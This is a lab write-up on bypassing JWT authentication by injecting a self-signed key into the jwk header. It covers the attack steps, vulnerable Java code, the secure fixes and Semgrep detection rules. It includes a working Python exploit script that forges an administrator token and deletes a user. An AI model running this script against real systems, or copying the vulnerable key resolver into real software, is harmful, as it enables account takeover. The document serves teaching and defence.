Lab 04: JWT authentication bypass via jwk header injection
1. Executive Summary
Vulnerability: JWT Signature Bypass (Insecure jwk Header Processing).
Description: The JSON Web Token (JWT) specification allows for a jwk (JSON Web Key) parameter in the token’s header. This parameter is designed to embed the public verification key directly within the token. The application is vulnerable because it extracts this embedded key and uses it to verify the token’s signature without checking if the key belongs to a trusted source.
Impact: Full Account Takeover. An attacker can generate their own RSA key pair, embed their forged public key into the jwk header, and sign a malicious token with their corresponding private key. The server will read the attacker’s public key from the header and successfully verify the forged signature, granting administrative access.
2. The Attack
Objective: Access the admin panel by injecting a self-signed RSA key into the JWT header.
- Reconnaissance:
- I logged into my account (
wiener:peter). - I captured the
GET /my-accountrequest to obtain the current session JWT. - I attempted to access
GET /admin, which returned a401 Unauthorizederror since mysubclaim waswiener.
- I logged into my account (
- Key Generation:
- I opened the JWT Editor Keys tab in Burp Suite.
- I generated a new RSA Key pair. This key pair is entirely controlled by me.
- Token Forgery and Injection:
- I sent the
GET /adminrequest to Repeater. - In the JSON Web Token view, I modified the payload, changing the
subclaim toadministrator. - I executed the Embedded JWK attack. This action automatically serialized my newly generated RSA public key, injected it into the token’s header under the
jwkparameter, and signed the resulting token with my RSA private key.
- I sent the
- Exploitation:
- I submitted the request with the forged token.
- The server read the
jwkheader, used my public key to verify my signature, and accepted the token. - I successfully accessed the admin panel and navigated to
/admin/delete?username=carlos.
3. Code Review
Java (Spring Boot / JJWT)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Claims parseToken(String token) {
return Jwts.parserBuilder()
.setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override
public Key resolveSigningKey(JwsHeader header, Claims claims) {
// VULNERABLE: Trusting the key provided in the token header
Map<String, Object> jwkMap = (Map<String, Object>) header.get("jwk");
try {
// Reconstructing the public key directly from attacker input
RSAPublicKeySpec keySpec = new RSAPublicKeySpec(
new BigInteger(1, Base64.getUrlDecoder().decode((String) jwkMap.get("n"))),
new BigInteger(1, Base64.getUrlDecoder().decode((String) jwkMap.get("e")))
);
KeyFactory kf = KeyFactory.getInstance("RSA");
return kf.generatePublic(keySpec);
} catch (Exception e) {
return null;
}
}
})
.build()
.parseClaimsJws(token)
.getBody();
}
Technical Flow & Syntax Explanation:
setSigningKeyResolver: This JJWT method allows developers to dynamically determine the signing key based on token headers or claims before verifying the signature.header.get("jwk"): The code extracts thejwkobject directly from the unverified token header.RSAPublicKeySpec: The developer manually rebuilds the RSA public key using the modulus (n) and exponent (e) provided by the attacker in thejwkheader. By returning this key, the library uses the attacker’s public key to verify the attacker’s signature, guaranteeing a match.
C# (ASP.NET Core)
Technical Flow & Syntax Explanation:
IssuerSigningKeyResolver: A delegate in the Microsoft identity framework that allows custom logic to retrieve the verification key.jwt.Header["jwk"].ToString(): The application reads the unverified header parameter.new JsonWebKey(jwkJson): The JSON Web Key is instantiated and returned as the authoritativeIssuerSigningKey. The framework then uses this key to validate the cryptographic signature of the token.
Mock PR Comment
The JWT verification logic currently extracts the validation key directly from the jwk header of the incoming token. This is a severe security risk, as attackers can forge their own key pairs, embed their public key in the token, and bypass authentication entirely.
Recommendation: Do not resolve signing keys from the token header. Instead, configure the application to retrieve public keys exclusively from a trusted, server-controlled source, such as a local configuration file or a verified remote JWKS (JSON Web Key Set) endpoint.
4. The Fix
Explanation of the Fix:
The application must never trust cryptographic material supplied by the client. The fix involves removing dynamic key resolution based on token headers and explicitly defining a trusted Key Resolver that queries an authoritative source (like a centralized identity provider’s JWKS endpoint).
Secure Java
Technical Flow & Syntax Explanation:
UrlJwkProvider: This component retrieves public keys strictly from a trusted, hardcoded server URL.header.getKeyId(): Instead of taking the key itself, the application only reads thekid(Key ID) from the header to look up the corresponding public key from the trusted provider. If the attacker supplies a fakekidor an embeddedjwk, the lookup against the trusted provider fails.
Secure C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public ClaimsPrincipal ValidateToken(string token)
{
// SECURE: Hardcode the trusted JWKS endpoint
var jwksUrl = "https://trusted-auth-server.com/.well-known/jwks.json";
var jwksJson = new HttpClient().GetStringAsync(jwksUrl).Result;
var jwks = new JsonWebKeySet(jwksJson);
var handler = new JwtSecurityTokenHandler();
var parameters = new TokenValidationParameters
{
ValidateIssuer = false,
ValidateAudience = false,
ValidateIssuerSigningKey = true,
// The framework will match the 'kid' in the token against this trusted list
IssuerSigningKeys = jwks.GetSigningKeys()
};
return handler.ValidateToken(token, parameters, out _);
}
Technical Flow & Syntax Explanation:
JsonWebKeySet(jwksJson): The application downloads and parses the Key Set from a trusted server.IssuerSigningKeys = jwks.GetSigningKeys(): The framework is configured with a strict allowlist of keys. It automatically extracts thekidfrom the incoming token and checks if it exists within this trusted collection. Embeddedjwkparameters are completely ignored.
5. Automation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python3
import argparse
import requests
import json
import base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import jwt # PyJWT
def base64url_encode(data):
if isinstance(data, str):
data = data.encode('utf-8')
return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')
def int_to_base64url(n):
# Convert integer to bytes, then base64url encode
byte_length = (n.bit_length() + 7) // 8
b = n.to_bytes(byte_length, 'big')
return base64url_encode(b)
def exploit_jwk_injection(url, username, password):
s = requests.Session()
login_url = f"{url.rstrip('/')}/login"
print(f"[*] Logging in as {username}...")
s.post(login_url, data={'username': username, 'password': password})
token = s.cookies.get('session')
if not token:
print("[-] No session cookie found.")
return
print("[*] Generating malicious RSA key pair...")
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
pn = public_key.public_numbers()
# Construct the JWK dictionary
jwk = {
"kty": "RSA",
"e": int_to_base64url(pn.e),
"n": int_to_base64url(pn.n),
"kid": "malicious-key"
}
print("[*] Forging admin token with embedded JWK...")
# Decode payload to modify 'sub'
payload_b64 = token.split('.')[1]
padding = '=' * (4 - (len(payload_b64) % 4))
payload_str = base64.urlsafe_b64decode(payload_b64 + padding).decode('utf-8')
payload = json.loads(payload_str)
payload['sub'] = 'administrator'
# Create the malicious header
headers = {
"alg": "RS256",
"jwk": jwk
}
# Sign the token using PyJWT with our malicious private key
# PyJWT automatically handles the base64url encoding and signature generation
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
forged_token = jwt.encode(payload, private_pem, algorithm="RS256", headers=headers)
print("[*] Sending forged token to /admin...")
s.cookies.set('session', forged_token)
resp = s.get(f"{url.rstrip('/')}/admin")
if "Admin panel" in resp.text:
print("[!!!] SUCCESS: Admin panel accessed.")
delete_url = f"{url.rstrip('/')}/admin/delete?username=carlos"
s.get(delete_url)
print("[+] Carlos deleted.")
else:
print(f"[-] Failed. Status: {resp.status_code}")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("url", help="Lab URL")
ap.add_argument("username", help="Your username (wiener)")
ap.add_argument("password", help="Your password (peter)")
args = ap.parse_args()
exploit_jwk_injection(args.url, args.username, args.password)
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
Java Rule
Technical Flow & Syntax Explanation:
pattern-inside: Narrows the scope to the specificSigningKeyResolverAdapteroverride where key resolution happens in JJWT.$HEADER.get("jwk"): Flags any attempt to directly retrieve thejwkparameter from the unverified header within the resolution block, signaling that the code intends to dynamically utilize attacker-supplied cryptographic material.
C# Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
rules:
- id: csharp-jwt-jwk-header-injection
languages: [csharp]
message: |
IssuerSigningKeyResolver reads the 'jwk' header from the incoming token.
This enables an attacker to provide the key used to validate their own token.
severity: ERROR
patterns:
- pattern-inside: |
IssuerSigningKeyResolver = ($TOKEN, $SECTOKEN, $KID, $PARAMS) => { ... }
- pattern-either:
- pattern: $SECTOKEN.Header["jwk"]
- pattern: ((JwtSecurityToken)$SECTOKEN).Header["jwk"]
Technical Flow & Syntax Explanation:
IssuerSigningKeyResolver = ... => { ... }: Targets the specific C# delegate responsible for determining the verification key.$SECTOKEN.Header["jwk"]: Flags the direct extraction of thejwkelement from the token’s header collection inside the resolver, identifying the insecure key derivation source.
